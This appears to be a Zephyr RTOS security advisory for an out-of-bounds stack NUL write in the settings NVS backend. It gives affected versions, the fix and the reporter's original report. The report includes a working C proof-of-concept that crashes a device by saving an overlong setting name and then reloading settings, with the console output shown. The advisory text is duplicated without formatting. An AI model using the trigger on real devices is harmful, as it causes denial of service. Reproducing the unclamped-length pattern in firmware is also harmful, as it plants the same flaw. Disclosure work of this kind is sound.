The NVS backend of the Zephyr settings subsystem (subsys/settings/src/settings_nvs.c) reads stored setting-name entries into fixed 74-byte stack buffers and NUL-terminates them with buf[rc] = '\0', where rc is the return value of nvs_read(). Per its contract, nvs_read() returns the full stored entry length (wlk_ate.len), which can exceed the supplied buffer length — only MIN(len, stored_len) bytes are actually copied, but the return value may be much larger, bounded only by the NVS sector size. Three sites (settings_nvs_cache_match(), settings_nvs_load(), and settings_nvs_save()) used this value directly as the NUL index without clamping, so an oversized stored name entry causes a single \0 byte to be written past the end of the stack buffer at an attacker-influenced offset (CWE-787).
The oversized entry cannot arise through the normal settings API, where names are bounded by SETTINGS_MAX_NAME_LEN. It requires an actor able to write the flash that backs the settings partition — a co-resident or untrusted component sharing the flash device, a malicious settings image/restore, or offline/physical flash access (a shared-flash threat model). The malformed entry is parsed when settings_load() runs at boot or subsystem init, or during settings_save().
The out-of-bounds write is a single NUL byte at an offset equal to the crafted entry length (up to the NVS sector size), so the practical impact is a crash or denial of service and limited stack corruption rather than reliable code execution. There is no confidentiality impact, and the path is not reachable from the network through the ordinary settings interface. The fix skips any entry whose nvs_read() length is greater than or equal to the buffer size before performing the NUL store.
Affected components
subsys/settings/src/settings_nvs.c
Affected versions
>= 2.0.0, <= 4.4.2
Fix
Fixed (merged) in e79a0db
Projected fixed version: 4.5.0 (the fix is merged on main but not yet released; this forecast should be confirmed against the actual release).
Introduced by: 88bb759 (settings: adding new nvs backend, 2019; present since v2.0.0)
Evidence
- subsys/settings/src/settings_nvs.c:110-114 — cache_match guards
(size_t)rc >= len before rdname[rc] = '\0'; pre-fix code wrote unconditionally
- subsys/settings/src/settings_nvs.c:198-203 — load() guards
(size_t)rc1 >= sizeof(name) before name[rc1] = '\0' into a 74-byte stack buffer
- subsys/settings/src/settings_nvs.c:278-282 — save() guards
(size_t)rc >= sizeof(rdname) before rdname[rc] = '\0'
- subsys/settings/src/settings_nvs.c:43-58 — settings_nvs_read_fn already clamps
rc = len when rc > len, confirming nvs_read over-reports length
- subsys/kvss/nvs/nvs.c (nvs_read_hist) — returns
wlk_ate.len - NVS_DATA_CRC_SIZE, the full stored length, while copying only MIN(len, stored_len) bytes
- include/zephyr/kvss/nvs.h:133-137 — nvs_read contract: return value larger than requested means not all bytes were read
- include/zephyr/settings/settings.h:37-54 — buffer size = SETTINGS_MAX_NAME_LEN(64)+EXTRA_LEN(9)+1 = 74 bytes by default
- subsys/settings/src/settings_store.c:36 — settings_load() entry point invoking the backend csi_load
Original report as submitted by the reporter
Zephyr's settings NVS backend persists arbitrary key-name lengths but later reloads names into a fixed 74-byte stack buffer in subsys/settings/src/settings_nvs.c. The code then writes name[rc1] = '\0' using the raw nvs_read() return value. Zephyr's own NVS API contract explicitly allows nvs_read() to return a value larger than the requested destination length when more data exists. As a result, an attacker who can store an overlong setting name through an official API path can trigger an out-of-bounds stack write during the next settings_load(). A real Zephyr native_sim/native/64 proof-of-concept shows a 64-byte key loads successfully, while an 80-byte key reaches kernel/compiler_stack_protect.c:40 and terminates the system.
Summary
The Zephyr settings NVS backend trusts oversized nvs_read() return lengths when reloading persisted key names. An overlong setting name saved through the official settings API later causes an out-of-bounds stack write and a kernel fatal during settings_load().
Details
Relevant code:
- official save entrypoint:
subsys/settings/src/settings_store.c:209
- low-friction shell entrypoint:
subsys/settings/src/settings_shell.c:169
- NVS API contract:
include/zephyr/kvss/nvs.h:125
- vulnerable load path:
subsys/settings/src/settings_nvs.c:157
subsys/settings/src/settings_nvs.c:195
- analogous sibling sink on save path:
subsys/settings/src/settings_nvs.c:105
subsys/settings/src/settings_nvs.c:110
subsys/settings/src/settings_nvs.c:260
subsys/settings/src/settings_nvs.c:270
Official API context:
- Settings API:
https://docs.zephyrproject.org/latest/doxygen/html/group__settings.html
- NVS documentation:
https://docs.zephyrproject.org/latest/services/storage/nvs/nvs.html
Confirmed data flow:
settings_save_one() forwards attacker-controlled name to the active backend.
settings_nvs_save() persists the key name with nvs_write(..., name, strlen(name)) and does not enforce a backend-local maximum name length.
- On a later
settings_load(), settings_nvs_load() reads the persisted name into char name[SETTINGS_MAX_NAME_LEN + SETTINGS_EXTRA_LEN + 1].
- Per Zephyr's NVS contract,
nvs_read() may return a value larger than the requested read buffer length when the stored record is longer.
settings_nvs_load() uses that raw return value as an array index in name[rc1] = '\0', producing an out-of-bounds stack write before any handler-specific logic runs.
Why this is not just a host-only artifact:
- the proof uses the real Zephyr settings subsystem, real flash-map/NVS backend, and official APIs only
- no host-side memory model or ASan shim is required
- stack canaries are used only to make the real overwrite observable as a Zephyr fatal condition
PoC
#include <zephyr/kernel.h>
#include <zephyr/storage/flash_map.h>
#include <zephyr/kvss/nvs.h>
#include <zephyr/settings/settings.h>
#include <zephyr/sys/printk.h>
#include <string.h>
#ifndef EXP_NAME_LEN
#define EXP_NAME_LEN 75
#endif
#define LONG_NAME_LEN EXP_NAME_LEN
static char long_name[LONG_NAME_LEN + 1];
static const uint8_t one = 0x41;
static void prepare_long_name(void)
{
memset(long_name, 'A', sizeof(long_name));
long_name[LONG_NAME_LEN] = '\0';
}
int main(void)
{
int rc;
const struct flash_area *fa;
printk("settings_nvs long-name repro start\n");
#if LONG_NAME_LEN >= 75
printk("mode=trigger long_name_len=%d\n", LONG_NAME_LEN);
#else
printk("mode=baseline long_name_len=%d\n", LONG_NAME_LEN);
#endif
prepare_long_name();
rc = flash_area_open(FIXED_PARTITION_ID(storage_partition), &fa);
printk("flash_area_open rc=%d\n", rc);
if (rc != 0) {
return 0;
}
rc = flash_area_flatten(fa, 0, fa->fa_size);
printk("flash_area_flatten rc=%d size=%u\n", rc, (unsigned int)fa->fa_size);
flash_area_close(fa);
if (rc != 0) {
return 0;
}
rc = settings_subsys_init();
printk("settings_subsys_init rc=%d\n", rc);
if (rc != 0) {
return 0;
}
void *storage = NULL;
uint8_t tiny = 0;
rc = settings_storage_get(&storage);
printk("settings_storage_get rc=%d storage=%p\n", rc, storage);
rc = settings_save_one(long_name, &one, sizeof(one));
printk("settings_save_one rc=%d name_len=%d\n", rc, LONG_NAME_LEN);
if (rc < 0) {
return 0;
}
if (storage != NULL) {
ssize_t name_rc = nvs_read((struct nvs_fs *)storage, 0x8001, &tiny, sizeof(tiny));
ssize_t value_rc = nvs_read((struct nvs_fs *)storage, 0xc001, &tiny, sizeof(tiny));
printk("raw nvs_read name_rc=%d value_rc=%d first_byte=0x%02x\n",
(int)name_rc, (int)value_rc, tiny);
}
printk("triggering settings_load\n");
rc = settings_load();
#if LONG_NAME_LEN >= 75
printk("UNEXPECTED settings_load returned rc=%d\n", rc);
#else
printk("BASELINE_OK settings_load returned rc=%d\n", rc);
#endif
return 0;
}
*** Booting Zephyr OS build v4.4.0-373-g4f2e63556a0f ***
settings_nvs long-name repro start
mode=trigger long_name_len=80
flash_area_open rc=0
flash_area_flatten rc=0 size=16384
settings_subsys_init rc=0
settings_storage_get rc=0 storage=0x418a10
settings_save_one rc=0 name_len=80
raw nvs_read name_rc=80 value_rc=1 first_byte=0x41
triggering settings_load
@ WEST_TOPDIR/zephyr/kernel/compiler_stack_protect.c:40
Exiting due to fatal error
Why this is proof:
- the baseline and trigger runs use the same Zephyr image design and the same official settings API path
- only the persisted key length changes
- the trigger run proves the NVS backend observes a logical name length larger than the internal 74-byte buffer and then dies immediately in the stack protector during
settings_load()
Impact
- confirmed impact: kernel denial-of-service during settings reload / boot-time settings load
- attack precondition: attacker can store an overlong settings key through an official API path before a later reload
- practical source paths:
- direct application use of
settings_save_one()
- deployments exposing
settings shell write
- current-round exploit claim is limited to crash / stack smash; stronger control-flow impact was not claimed without proof
fix suggestion
Patch the full NVS name handling path in:
subsys/settings/src/settings_nvs.c
Functions that should be changed:
settings_nvs_load()
settings_nvs_cache_match()
settings_nvs_save()
Patching reason:
- the code currently assumes
nvs_read() return values are safe to use as in-buffer string lengths
- Zephyr's NVS API explicitly documents the opposite: a return value larger than the requested length means the record was truncated in the destination buffer
- every name-read site must therefore bound the logical length before using it as an index or before calling string functions
Concrete patch direction:
- after
rc = nvs_read(..., buf, sizeof(buf)):
- if
rc < 0, handle the error as today
- if
rc >= sizeof(buf), reject the record or clamp it to sizeof(buf) - 1
- then write the terminator at the bounded index
- do not persist names longer than the backend-supported maximum
- keep the same defensive pattern already used by
settings_nvs_read_fn(), which caps oversized value-read lengths
Patches
For more information
If you have any questions or comments about this advisory:
embargo: 2026-08-16
The NVS backend of the Zephyr settings subsystem (
subsys/settings/src/settings_nvs.c) reads stored setting-name entries into fixed 74-byte stack buffers and NUL-terminates them withbuf[rc] = '\0', wherercis the return value ofnvs_read(). Per its contract,nvs_read()returns the full stored entry length (wlk_ate.len), which can exceed the supplied buffer length — onlyMIN(len, stored_len)bytes are actually copied, but the return value may be much larger, bounded only by the NVS sector size. Three sites (settings_nvs_cache_match(),settings_nvs_load(), andsettings_nvs_save()) used this value directly as the NUL index without clamping, so an oversized stored name entry causes a single\0byte to be written past the end of the stack buffer at an attacker-influenced offset (CWE-787).The oversized entry cannot arise through the normal settings API, where names are bounded by
SETTINGS_MAX_NAME_LEN. It requires an actor able to write the flash that backs the settings partition — a co-resident or untrusted component sharing the flash device, a malicious settings image/restore, or offline/physical flash access (a shared-flash threat model). The malformed entry is parsed whensettings_load()runs at boot or subsystem init, or duringsettings_save().The out-of-bounds write is a single NUL byte at an offset equal to the crafted entry length (up to the NVS sector size), so the practical impact is a crash or denial of service and limited stack corruption rather than reliable code execution. There is no confidentiality impact, and the path is not reachable from the network through the ordinary settings interface. The fix skips any entry whose
nvs_read()length is greater than or equal to the buffer size before performing the NUL store.Affected components
subsys/settings/src/settings_nvs.cAffected versions
>= 2.0.0, <= 4.4.2Fix
Fixed (merged) in e79a0db
Projected fixed version: 4.5.0 (the fix is merged on
mainbut not yet released; this forecast should be confirmed against the actual release).Introduced by: 88bb759 (settings: adding new nvs backend, 2019; present since v2.0.0)
Evidence
(size_t)rc >= lenbeforerdname[rc] = '\0'; pre-fix code wrote unconditionally(size_t)rc1 >= sizeof(name)beforename[rc1] = '\0'into a 74-byte stack buffer(size_t)rc >= sizeof(rdname)beforerdname[rc] = '\0'rc = lenwhenrc > len, confirming nvs_read over-reports lengthwlk_ate.len - NVS_DATA_CRC_SIZE, the full stored length, while copying only MIN(len, stored_len) bytesOriginal report as submitted by the reporter
Zephyr's settings NVS backend persists arbitrary key-name lengths but later reloads names into a fixed 74-byte stack buffer in
subsys/settings/src/settings_nvs.c. The code then writesname[rc1] = '\0'using the rawnvs_read()return value. Zephyr's own NVS API contract explicitly allowsnvs_read()to return a value larger than the requested destination length when more data exists. As a result, an attacker who can store an overlong setting name through an official API path can trigger an out-of-bounds stack write during the nextsettings_load(). A real Zephyrnative_sim/native/64proof-of-concept shows a 64-byte key loads successfully, while an 80-byte key reacheskernel/compiler_stack_protect.c:40and terminates the system.Summary
The Zephyr settings NVS backend trusts oversized
nvs_read()return lengths when reloading persisted key names. An overlong setting name saved through the official settings API later causes an out-of-bounds stack write and a kernel fatal duringsettings_load().Details
Relevant code:
subsys/settings/src/settings_store.c:209subsys/settings/src/settings_shell.c:169include/zephyr/kvss/nvs.h:125subsys/settings/src/settings_nvs.c:157subsys/settings/src/settings_nvs.c:195subsys/settings/src/settings_nvs.c:105subsys/settings/src/settings_nvs.c:110subsys/settings/src/settings_nvs.c:260subsys/settings/src/settings_nvs.c:270Official API context:
https://docs.zephyrproject.org/latest/doxygen/html/group__settings.htmlhttps://docs.zephyrproject.org/latest/services/storage/nvs/nvs.htmlConfirmed data flow:
settings_save_one()forwards attacker-controllednameto the active backend.settings_nvs_save()persists the key name withnvs_write(..., name, strlen(name))and does not enforce a backend-local maximum name length.settings_load(),settings_nvs_load()reads the persisted name intochar name[SETTINGS_MAX_NAME_LEN + SETTINGS_EXTRA_LEN + 1].nvs_read()may return a value larger than the requested read buffer length when the stored record is longer.settings_nvs_load()uses that raw return value as an array index inname[rc1] = '\0', producing an out-of-bounds stack write before any handler-specific logic runs.Why this is not just a host-only artifact:
PoC
Why this is proof:
settings_load()Impact
settings_save_one()settings shell writefix suggestion
Patch the full NVS name handling path in:
subsys/settings/src/settings_nvs.cFunctions that should be changed:
settings_nvs_load()settings_nvs_cache_match()settings_nvs_save()Patching reason:
nvs_read()return values are safe to use as in-buffer string lengthsConcrete patch direction:
rc = nvs_read(..., buf, sizeof(buf)):rc < 0, handle the error as todayrc >= sizeof(buf), reject the record or clamp it tosizeof(buf) - 1settings_nvs_read_fn(), which caps oversized value-read lengthsPatches
mainv4.4-branchv4.3-branchv3.7-branchFor more information
If you have any questions or comments about this advisory:
embargo: 2026-08-16